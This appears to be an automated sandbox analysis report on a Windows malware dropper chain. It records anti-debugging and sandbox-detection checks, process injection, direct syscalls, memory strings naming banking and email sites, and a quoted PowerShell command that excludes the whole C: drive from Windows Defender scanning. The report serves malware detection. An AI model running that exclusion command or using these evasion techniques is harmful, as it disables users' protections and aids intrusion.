Source: yo7qmvz.exe, 00000023.00000003.2174563530.0000000003374000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: yo7qmvz.exe, 00000023.00000003.2174563530.0000000003374000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: yo7qmvz.exe, 00000023.00000003.2174563530.0000000003374000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: yo7qmvz.exe, 00000023.00000003.2174563530.0000000003374000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: yo7qmvz.exe, 00000023.00000003.2174563530.0000000003374000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: s7MG2VL.exe, 0000000C.00000003.2089689153.0000000001349000.00000004.00000020.00020000.00000000.sdmp, s7MG2VL.exe, 0000000C.00000002.2092658472.0000000001349000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP49
Source: yo7qmvz.exe, 00000023.00000003.2174563530.0000000003374000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: yo7qmvz.exe, 00000023.00000003.2174563530.0000000003374000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: yo7qmvz.exe, 00000023.00000003.2174563530.0000000003374000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: yo7qmvz.exe, 00000023.00000003.2174563530.0000000003374000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: yo7qmvz.exe, 00000023.00000003.2174563530.0000000003374000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: yo7qmvz.exe, 00000023.00000003.2174563530.0000000003374000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: yo7qmvz.exe, 00000023.00000003.2174563530.0000000003374000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: svchost.exe, 0000001F.00000002.2474804150.000001DBE2870000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWab@
Source: yo7qmvz.exe, 00000023.00000003.2174563530.0000000003374000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: yo7qmvz.exe, 00000023.00000003.2174563530.0000000003374000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: 13s1HMkHKv.exe, 00000000.00000002.1235622653.0000000000C38000.00000040.00000001.01000000.00000003.sdmp, rapes.exe, 00000003.00000002.1263384694.0000000000418000.00000040.00000001.01000000.0000000A.sdmp, rapes.exe, 00000004.00000002.1267096726.0000000000418000.00000040.00000001.01000000.0000000A.sdmp, rapes.exe, 0000000B.00000002.2466924239.0000000000418000.00000040.00000001.01000000.0000000A.sdmp, s7MG2VL.exe, 0000000C.00000002.2091813340.0000000000813000.00000040.00000001.01000000.0000000C.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: yo7qmvz.exe, 00000023.00000003.2174563530.0000000003374000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: eAzoDbY.exe, 00000019.00000003.2214314063.00000000014ED000.00000004.00000020.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2217666270.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000002.2233380605.00000000014F1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp>S
Source: yo7qmvz.exe, 00000023.00000003.2174563530.0000000003374000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552
Source: svchost.exe, 0000001F.00000002.2476410106.000001DBE28E5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe

API call chain: ExitProcess graph end node

graph_17-53096

Source: C:\Users\user\Desktop\13s1HMkHKv.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\13s1HMkHKv.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\13s1HMkHKv.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Thread information set: HideFromDebugger	Jump to behavior

Potentially malicious time measurement code found

Source: C:\Users\user\Desktop\13s1HMkHKv.exe	Code function: 0_2_054705C7 Start: 0547066E End: 054705E3		0_2_054705C7
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: 11_2_0536098F Start: 053609A9 End: 053609A3		11_2_0536098F

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\13s1HMkHKv.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\13s1HMkHKv.exe

Code function: 0_2_05470A9C rdtsc

0_2_05470A9C

Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe

Code function: 15_2_00BB553B _strlen,GetModuleHandleA,GetProcAddress,VirtualProtect,LdrInitializeThunk,OleDraw,GetModuleHandleA,GetProcAddress,OleDraw,FreeConsole,__fread_nolock,_strlen,_strlen,FreeConsole,__fread_nolock,FreeConsole,__fread_nolock,

15_2_00BB553B

Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe

Code function: 15_2_00C1DC9E IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

15_2_00C1DC9E

Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: 11_2_0024DB60 mov eax, dword ptr fs:[00000030h]	11_2_0024DB60
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: 11_2_00255FF2 mov eax, dword ptr fs:[00000030h]	11_2_00255FF2
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00C461B4 mov edi, dword ptr fs:[00000030h]	15_2_00C461B4

Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe

Code function: 15_2_00C2B71C GetProcessHeap,

15_2_00C2B71C

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00C1D8E2 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	15_2_00C1D8E2
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00C1DC92 SetUnhandledExceptionFilter,	15_2_00C1DC92
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00C1DC9E IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	15_2_00C1DC9E
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00C25DCE IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	15_2_00C25DCE
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 17_2_00C1D8E2 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	17_2_00C1D8E2
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 17_2_00C1DC9E IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	17_2_00C1DC9E
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 17_2_00C25DCE IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	17_2_00C25DCE

HIPS / PFW / Operating System Protection Evasion

Benign windows process drops PE files

Source: C:\Windows\System32\svchost.exe

File created: ps.exe.31.dr

Jump to dropped file

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\AppData\Local\Temp\10190860101\8sb9w_003.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Add-MpPreference -ExclusionPath 'C:'
Source: C:\ProgramData\{66FE5BC5-AFB2-47E5-AD94-EB93039508DF}\ps.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Add-MpPreference -ExclusionPath C:\
Source: C:\Users\user\AppData\Local\Temp\10190860101\8sb9w_003.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Add-MpPreference -ExclusionPath 'C:'
Source: C:\ProgramData\{66FE5BC5-AFB2-47E5-AD94-EB93039508DF}\ps.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Add-MpPreference -ExclusionPath C:\

Contains functionality to inject code into remote processes

Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe

Code function: 15_2_00C461B4 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessW,CreateProcessW,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

15_2_00C461B4

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\ProgramData\{66FE5BC5-AFB2-47E5-AD94-EB93039508DF}\ps.exe	NtProtectVirtualMemory: Direct from: 0x140265290
Source: C:\Users\user\AppData\Local\Temp\{ED8B0E24-294A-4924-ABF6-1B4F6433B770}\cls.exe	NtProtectVirtualMemory: Direct from: 0x14002F2D3
Source: C:\ProgramData\{66FE5BC5-AFB2-47E5-AD94-EB93039508DF}\ps.exe	NtProtectVirtualMemory: Direct from: 0x1403E55F6
Source: C:\ProgramData\{66FE5BC5-AFB2-47E5-AD94-EB93039508DF}\ps.exe	NtProtectVirtualMemory: Direct from: 0x1403D93D1
Source: C:\ProgramData\{66FE5BC5-AFB2-47E5-AD94-EB93039508DF}\ps.exe	NtProtectVirtualMemory: Direct from: 0x1400026B1
Source: C:\ProgramData\{66FE5BC5-AFB2-47E5-AD94-EB93039508DF}\ps.exe	NtQuerySystemInformation: Direct from: 0x14025277A
Source: C:\Users\user\AppData\Roaming\altuninstall_test\ShortcutTaskAgent.exe	NtQuerySystemInformation: Direct from: 0x65007FF3
Source: C:\ProgramData\{66FE5BC5-AFB2-47E5-AD94-EB93039508DF}\ps.exe	NtProtectVirtualMemory: Direct from: 0x1402569CE
Source: C:\Users\user\AppData\Local\Temp\{ED8B0E24-294A-4924-ABF6-1B4F6433B770}\cls.exe	NtProtectVirtualMemory: Direct from: 0x14006F6F1
Source: C:\Users\user\AppData\Roaming\altuninstall_test\ShortcutTaskAgent.exe	NtProtectVirtualMemory: Direct from: 0x6BFDF966
Source: C:\ProgramData\{66FE5BC5-AFB2-47E5-AD94-EB93039508DF}\ps.exe	NtQuerySystemInformation: Direct from: 0x140246CFC
Source: C:\Users\user\AppData\Local\Temp\{ED8B0E24-294A-4924-ABF6-1B4F6433B770}\cls.exe	NtProtectVirtualMemory: Direct from: 0x14003552D
Source: C:\Users\user\AppData\Local\Temp\{ED8B0E24-294A-4924-ABF6-1B4F6433B770}\cls.exe	NtProtectVirtualMemory: Direct from: 0x140052C62
Source: C:\ProgramData\{66FE5BC5-AFB2-47E5-AD94-EB93039508DF}\ps.exe	NtProtectVirtualMemory: Direct from: 0x1403E27A5
Source: C:\ProgramData\{66FE5BC5-AFB2-47E5-AD94-EB93039508DF}\ps.exe	NtQuerySystemInformation: Direct from: 0x1403DCCB4
Source: C:\ProgramData\{66FE5BC5-AFB2-47E5-AD94-EB93039508DF}\ps.exe	NtQuerySystemInformation: Direct from: 0x1403DDA58
Source: C:\Users\user\AppData\Local\Temp\{ED8B0E24-294A-4924-ABF6-1B4F6433B770}\cls.exe	NtProtectVirtualMemory: Direct from: 0x14003C5FF
Source: C:\Users\user\AppData\Local\Temp\{ED8B0E24-294A-4924-ABF6-1B4F6433B770}\cls.exe	NtProtectVirtualMemory: Direct from: 0x14003D736
Source: C:\Users\user\AppData\Local\Temp\{ED8B0E24-294A-4924-ABF6-1B4F6433B770}\cls.exe	NtProtectVirtualMemory: Direct from: 0x1400474E6
Source: C:\Users\user\AppData\Local\Temp\{ED8B0E24-294A-4924-ABF6-1B4F6433B770}\cls.exe	NtProtectVirtualMemory: Direct from: 0x140076667

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Memory written: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	Memory written: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	Memory written: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe base: 400000 value starts with: 4D5A

Maps a DLL or memory area into another process

Source: C:\Users\user\AppData\Local\Temp\10190860101\8sb9w_003.exe	Section loaded: NULL target: C:\Windows\System32\svchost.exe protection: read write
Source: C:\Users\user\AppData\Local\Temp\10190860101\8sb9w_003.exe	Section loaded: NULL target: C:\Windows\System32\svchost.exe protection: execute and read and write
Source: C:\Users\user\AppData\Local\Temp\10190860101\8sb9w_003.exe	Section loaded: NULL target: C:\Windows\System32\svchost.exe protection: read write
Source: C:\Users\user\AppData\Roaming\altuninstall_test\ShortcutTaskAgent.exe	Section loaded: NULL target: C:\Windows\SysWOW64\cmd.exe protection: read write

Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe

Code function: 11_2_00228700 ShellExecuteA,Sleep,CreateThread,Sleep,

11_2_00228700

Source: C:\Users\user\Desktop\13s1HMkHKv.exe	Process created: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe "C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe "C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe "C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe "C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: C:\Users\user\AppData\Local\Temp\10190860101\8sb9w_003.exe "C:\Users\user\AppData\Local\Temp\10190860101\8sb9w_003.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe "C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: C:\Users\user\AppData\Local\Temp\10191470101\st22BJg.exe "C:\Users\user\AppData\Local\Temp\10191470101\st22BJg.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: C:\Users\user\AppData\Local\Temp\10191490101\EZs3CZC.exe "C:\Users\user\AppData\Local\Temp\10191490101\EZs3CZC.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: C:\Users\user\AppData\Local\Temp\10192270101\dx3hXS1.exe "C:\Users\user\AppData\Local\Temp\10192270101\dx3hXS1.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Process created: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe "C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	Process created: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe "C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe"
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	Process created: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe "C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe"
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	Process created: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe "C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe"
Source: C:\Users\user\AppData\Local\Temp\10190860101\8sb9w_003.exe	Process created: C:\Windows\System32\svchost.exe "C:\Windows\system32\svchost.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Add-MpPreference -ExclusionPath 'C:'
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\ProgramData\{66FE5BC5-AFB2-47E5-AD94-EB93039508DF}\ps.bat" """
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	Process created: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe "C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe"
Source: C:\Users\user\AppData\Local\Temp\10191470101\st22BJg.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\wscript.exe" "C:\Users\user\AppData\Local\Temp\pack82.vbe"
Source: C:\Users\user\AppData\Local\Temp\10191470101\st22BJg.exe	Process created: C:\Users\user\AppData\Local\Temp\file.exe "C:\Users\user\AppData\Local\Temp\file.exe"
Source: C:\Users\user\AppData\Local\Temp\file.exe	Process created: C:\Users\user\AppData\Local\Temp\ShortcutTaskAgent.exe "C:\Users\user\AppData\Local\Temp\ShortcutTaskAgent.exe"
Source: C:\Users\user\AppData\Roaming\altuninstall_test\ShortcutTaskAgent.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe

Source: rapes.exe, rapes.exe, 0000000B.00000002.2466924239.0000000000418000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: pProgram Manager
Source: s7MG2VL.exe, s7MG2VL.exe, 0000000C.00000002.2091813340.0000000000813000.00000040.00000001.01000000.0000000C.sdmp	Binary or memory string: ^Program Manager

Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe

Code function: 11_2_00249AB5 cpuid

11_2_00249AB5

Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: GetLocaleInfoW,	15_2_00C2F8B3
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	15_2_00C2F048
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: EnumSystemLocalesW,	15_2_00C2B007
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: EnumSystemLocalesW,	15_2_00C2F299
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: GetLocaleInfoW,	15_2_00C2AB0C
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	15_2_00C2F334
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: GetLocaleInfoW,	15_2_00C2F5E6
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: EnumSystemLocalesW,	15_2_00C2F587
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: EnumSystemLocalesW,	15_2_00C2F6BB
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	15_2_00C2F7AD
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: GetLocaleInfoW,	15_2_00C2F706
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: GetLocaleInfoW,	17_2_00C2F8B3
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	17_2_00C2F048
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: EnumSystemLocalesW,	17_2_00C2B007
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: EnumSystemLocalesW,	17_2_00C2F299
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: GetLocaleInfoW,	17_2_00C2AB0C
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	17_2_00C2F334
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: GetLocaleInfoW,	17_2_00C2F5E6
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: EnumSystemLocalesW,	17_2_00C2F587
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: EnumSystemLocalesW,	17_2_00C2F6BB
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	17_2_00C2F7AD
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: GetLocaleInfoW,	17_2_00C2F706

Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10190860101\8sb9w_003.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10190860101\8sb9w_003.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10191470101\st22BJg.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10191470101\st22BJg.exe VolumeInformation	Jump to behavior
